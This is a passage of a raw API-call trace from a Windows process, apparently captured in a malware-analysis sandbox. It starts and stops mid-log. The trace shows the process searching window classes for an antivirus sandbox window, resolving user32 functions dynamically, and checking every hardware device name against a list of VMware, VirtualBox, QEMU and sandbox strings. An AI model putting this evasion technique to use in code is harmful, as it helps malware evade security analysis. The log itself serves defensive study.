lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.228] GetClassNameA (in: hWnd=0x30070, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.228] GetClassNameA (in: hWnd=0x20062, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.228] GetClassNameA (in: hWnd=0x30052, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.228] GetClassNameA (in: hWnd=0x20214, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x60034, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x70032, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x60068, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x20172, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x2015e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x201f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x200f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x200ee, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x2008e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x20174, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.229] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.230] GetClassNameA (in: hWnd=0x10128, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.230] GetClassNameA (in: hWnd=0x10120, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MSCTFIME UI") returned 11 [0239.230] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.230] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.230] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0239.230] lstrlenA (lpString="snxhk_border_mywnd") returned 18 [0239.230] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0239.230] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fb70 [0239.230] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fae0 [0239.230] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0239.230] lstrlenA (lpString="kernel32.dll") returned 12 [0239.230] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0239.231] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0239.231] lstrlenA (lpString="GetProcAddress") returned 14 [0239.231] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0239.231] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fae0 [0239.231] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0239.231] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fbb8 [0239.231] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0239.231] lstrlenA (lpString="MessageBoxA") returned 11 [0239.231] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0239.231] lstrlenA (lpString="user32.dll") returned 10 [0239.231] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0239.231] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fae0 [0239.231] GetProcAddress (hModule=0x76850000, lpProcName="FindWindowA") returned 0x76867a80 [0239.231] lstrlenA (lpString="FindWindowA") returned 11 [0239.232] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0239.232] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa80 [0239.232] GetProcAddress (hModule=0x76850000, lpProcName="SendMessageA") returned 0x76860630 [0239.232] lstrlenA (lpString="SendMessageA") returned 12 [0239.232] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0239.232] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa20 [0239.232] GetProcAddress (hModule=0x76850000, lpProcName="PostMessageA") returned 0x7686b8d0 [0239.232] lstrlenA (lpString="PostMessageA") returned 12 [0239.232] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0239.232] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x261f700 [0239.232] GetProcAddress (hModule=0x76850000, lpProcName="GetForegroundWindow") returned 0x76883420 [0239.232] lstrlenA (lpString="GetForegroundWindow") returned 19 [0239.232] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0239.232] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f700 [0239.233] GetProcAddress (hModule=0x76850000, lpProcName="RegisterClassExA") returned 0x76868260 [0239.233] lstrlenA (lpString="RegisterClassExA") returned 16 [0239.233] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0239.233] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fb58 [0239.233] GetProcAddress (hModule=0x76850000, lpProcName="CreateWindowExA") returned 0x76871470 [0239.233] lstrlenA (lpString="CreateWindowExA") returned 15 [0239.233] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0239.233] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fa50 [0239.233] GetProcAddress (hModule=0x76850000, lpProcName="ShowWindow") returned 0x76883ee0 [0239.233] lstrlenA (lpString="ShowWindow") returned 10 [0239.233] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0239.233] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa50 [0239.233] GetProcAddress (hModule=0x76850000, lpProcName="UpdateWindow") returned 0x76862b80 [0239.233] lstrlenA (lpString="UpdateWindow") returned 12 [0239.234] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0239.234] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb40 [0239.234] GetProcAddress (hModule=0x76850000, lpProcName="GetMessageA") returned 0x7686bdf0 [0239.234] lstrlenA (lpString="GetMessageA") returned 11 [0239.234] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0239.234] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f700 [0239.234] GetProcAddress (hModule=0x76850000, lpProcName="TranslateMessage") returned 0x7687f900 [0239.234] lstrlenA (lpString="TranslateMessage") returned 16 [0239.234] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0239.234] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f700 [0239.234] GetProcAddress (hModule=0x76850000, lpProcName="DispatchMessageA") returned 0x7686fd80 [0239.234] lstrlenA (lpString="DispatchMessageA") returned 16 [0239.234] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0239.234] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fac8 [0239.235] GetProcAddress (hModule=0x76850000, lpProcName="DestroyWindow") returned 0x76883160 [0239.235] lstrlenA (lpString="DestroyWindow") returned 13 [0239.235] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0239.235] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f700 [0239.235] GetProcAddress (hModule=0x76850000, lpProcName="UnregisterClassA") returned 0x7687b230 [0239.235] lstrlenA (lpString="UnregisterClassA") returned 16 [0239.235] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0239.235] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fab0 [0239.235] GetProcAddress (hModule=0x76850000, lpProcName="DefWindowProcA") returned 0x77865680 [0239.235] lstrlenA (lpString="DefWindowProcA") returned 14 [0239.235] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0239.235] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa38 [0239.235] GetProcAddress (hModule=0x76850000, lpProcName="PostQuitMessage") returned 0x76872bc0 [0239.235] lstrlenA (lpString="PostQuitMessage") returned 15 [0239.236] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0239.237] SetupDiGetClassDevsA (ClassGuid=0x0, Enumerator=0x0, hwndParent=0x0, Flags=0x6) returned 0x63da28 [0239.823] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x0, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0239.823] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0239.841] GetLastError () returned 0x7a [0239.841] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f700 [0239.841] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f700, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f700, RequiredSize=0x19fe7c) returned 1 [0239.847] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa50 [0239.847] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Pointing") returned 0x0 [0239.928] lstrlenA (lpString="VMware Pointing") returned 15 [0239.929] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0239.929] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f720 [0239.929] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Accelerated") returned 0x0 [0239.929] lstrlenA (lpString="VMware Accelerated") returned 18 [0239.929] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f720 | out: hHeap=0x25a0000) returned 1 [0239.929] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa50 [0239.929] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware SCSI") returned 0x0 [0239.929] lstrlenA (lpString="VMware SCSI") returned 11 [0239.929] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0239.929] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb40 [0239.929] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware SVGA") returned 0x0 [0239.929] lstrlenA (lpString="VMware SVGA") returned 11 [0239.929] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0239.929] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fac8 [0239.929] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Replay") returned 0x0 [0239.929] lstrlenA (lpString="VMware Replay") returned 13 [0239.930] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0239.930] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f720 [0239.930] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware server memory") returned 0x0 [0239.930] lstrlenA (lpString="VMware server memory") returned 20 [0239.930] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f720 | out: hHeap=0x25a0000) returned 1 [0239.930] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fab0 [0239.930] StrStrIA (lpFirst="?? IO ??", lpSrch="CWSandbox") returned 0x0 [0239.930] lstrlenA (lpString="CWSandbox") returned 9 [0239.930] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0239.930] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fa38 [0239.930] StrStrIA (lpFirst="?? IO ??", lpSrch="Virtual HD") returned 0x0 [0239.930] lstrlenA (lpString="Virtual HD") returned 10 [0239.930] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0239.930] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261ffd0 [0239.930] StrStrIA (lpFirst="?? IO ??", lpSrch="QEMU") returned 0x0 [0239.930] lstrlenA (lpString="QEMU") returned 4 [0239.930] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0239.930] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa08 [0239.930] StrStrIA (lpFirst="?? IO ??", lpSrch="Red Hat VirtIO") returned 0x0 [0239.930] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0239.930] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0239.931] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa08 [0239.931] StrStrIA (lpFirst="?? IO ??", lpSrch="srootkit") returned 0x0 [0239.931] lstrlenA (lpString="srootkit") returned 8 [0239.931] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0239.931] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa50 [0239.931] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware VMaudio") returned 0x0 [0239.931] lstrlenA (lpString="VMware VMaudio") returned 14 [0239.931] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0239.931] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fae0 [0239.931] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Vista") returned 0x0 [0239.931] lstrlenA (lpString="VMware Vista") returned 12 [0239.931] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0239.931] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fae0 [0239.931] StrStrIA (lpFirst="?? IO ??", lpSrch="VBoxVideo") returned 0x0 [0239.931] lstrlenA (lpString="VBoxVideo") returned 9 [0239.931] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0239.931] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fae0 [0239.931] StrStrIA (lpFirst="?? IO ??", lpSrch="VBoxGuest") returned 0x0 [0239.931] lstrlenA (lpString="VBoxGuest") returned 9 [0239.931] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0239.931] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0239.931] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0239.932] GetLastError () returned 0xd [0239.932] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x1, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0239.932] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.049] GetLastError () returned 0x7a [0240.049] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x261f700 [0240.049] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f700, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f700, RequiredSize=0x19fe7c) returned 1 [0240.082] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa20 [0240.082] StrStrIA (lpFirst="?????????", lpSrch="VMware Pointing") returned 0x0 [0240.082] lstrlenA (lpString="VMware Pointing") returned 15 [0240.082] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0240.082] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f720 [0240.082] StrStrIA (lpFirst="?????????", lpSrch="VMware Accelerated") returned 0x0 [0240.082] lstrlenA (lpString="VMware Accelerated") returned 18 [0240.082] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f720 | out: hHeap=0x25a0000) returned 1 [0240.082] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb58 [0240.083] StrStrIA (lpFirst="?????????", lpSrch="VMware SCSI") returned 0x0 [0240.083] lstrlenA (lpString="VMware SCSI") returned 11 [0240.083] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0240.083] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f9f0 [0240.083] StrStrIA (lpFirst="?????????", lpSrch="VMware SVGA") returned 0x0 [0240.083] lstrlenA (lpString="VMware SVGA") returned 11 [0240.083] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0240.083] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa38 [0240.083] StrStrIA (lpFirst="?????????", lpSrch="VMware Replay") returned 0x0 [0240.083] lstrlenA (lpString="VMware Replay") returned 13 [0240.083] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0240.083] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f720 [0240.083] StrStrIA (lpFirst="?????????", lpSrch="VMware server memory") returned 0x0 [0240.083] lstrlenA (lpString="VMware server memory") returned 20 [0240.083] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f720 | out: hHeap=0x25a0000) returned 1 [0240.083] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa08 [0240.083] StrStrIA (lpFirst="?????????", lpSrch="CWSandbox") returned 0x0 [0240.083] lstrlenA (lpString="CWSandbox") returned 9 [0240.084] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0240.084] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fb40 [0240.084] StrStrIA (lpFirst="?????????", lpSrch="Virtual HD") returned 0x0 [0240.084] lstrlenA (lpString="Virtual HD") returned 10 [0240.084] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0240.084] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261ffd0 [0240.084] StrStrIA (lpFirst="?????????", lpSrch="QEMU") returned 0x0 [0240.084] lstrlenA (lpString="QEMU") returned 4 [0240.084] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.084] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa80 [0240.084] StrStrIA (lpFirst="?????????", lpSrch="Red Hat VirtIO") returned 0x0 [0240.084] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0240.084] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0240.084] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa98 [0240.084] StrStrIA (lpFirst="?????????", lpSrch="srootkit") returned 0x0 [0240.084] lstrlenA (lpString="srootkit") returned 8 [0240.084] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0240.085] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb58 [0240.085] StrStrIA (lpFirst="?????????", lpSrch="VMware VMaudio") returned 0x0 [0240.085] lstrlenA (lpString="VMware VMaudio") returned 14 [0240.085] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0240.085] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa68 [0240.085] StrStrIA (lpFirst="?????????", lpSrch="VMware Vista") returned 0x0 [0240.085] lstrlenA (lpString="VMware Vista") returned 12 [0240.085] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0240.085] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb10 [0240.085] StrStrIA (lpFirst="?????????", lpSrch="VBoxVideo") returned 0x0 [0240.085] lstrlenA (lpString="VBoxVideo") returned 9 [0240.085] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0240.085] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa80 [0240.085] StrStrIA (lpFirst="?????????", lpSrch="VBoxGuest") returned 0x0 [0240.085] lstrlenA (lpString="VBoxGuest") returned 9 [0240.085] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0240.085] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0240.086] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.086] GetLastError () returned 0xd [0240.086] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x2, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0240.086] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.296] GetLastError () returned 0x7a [0240.296] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1a) returned 0x261f700 [0240.296] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f700, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f700, RequiredSize=0x19fe7c) returned 1 [0240.357] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fb88 [0240.357] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Pointing") returned 0x0 [0240.357] lstrlenA (lpString="VMware Pointing") returned 15 [0240.357] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0240.357] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f728 [0240.357] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Accelerated") returned 0x0 [0240.357] lstrlenA (lpString="VMware Accelerated") returned 18 [0240.357] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0240.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fae0 [0240.358] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware SCSI") returned 0x0 [0240.358] lstrlenA (lpString="VMware SCSI") returned 11 [0240.358] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0240.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb40 [0240.358] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware SVGA") returned 0x0 [0240.358] lstrlenA (lpString="VMware SVGA") returned 11 [0240.358] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0240.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261faf8 [0240.358] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Replay") returned 0x0 [0240.358] lstrlenA (lpString="VMware Replay") returned 13 [0240.358] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0240.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f728 [0240.358] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware server memory") returned 0x0 [0240.358] lstrlenA (lpString="VMware server memory") returned 20 [0240.358] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0240.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa08 [0240.359] StrStrIA (lpFirst="USB Root Hub", lpSrch="CWSandbox") returned 0x0 [0240.359] lstrlenA (lpString="CWSandbox") returned 9 [0240.359] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0240.359] RtlAllocateHeap 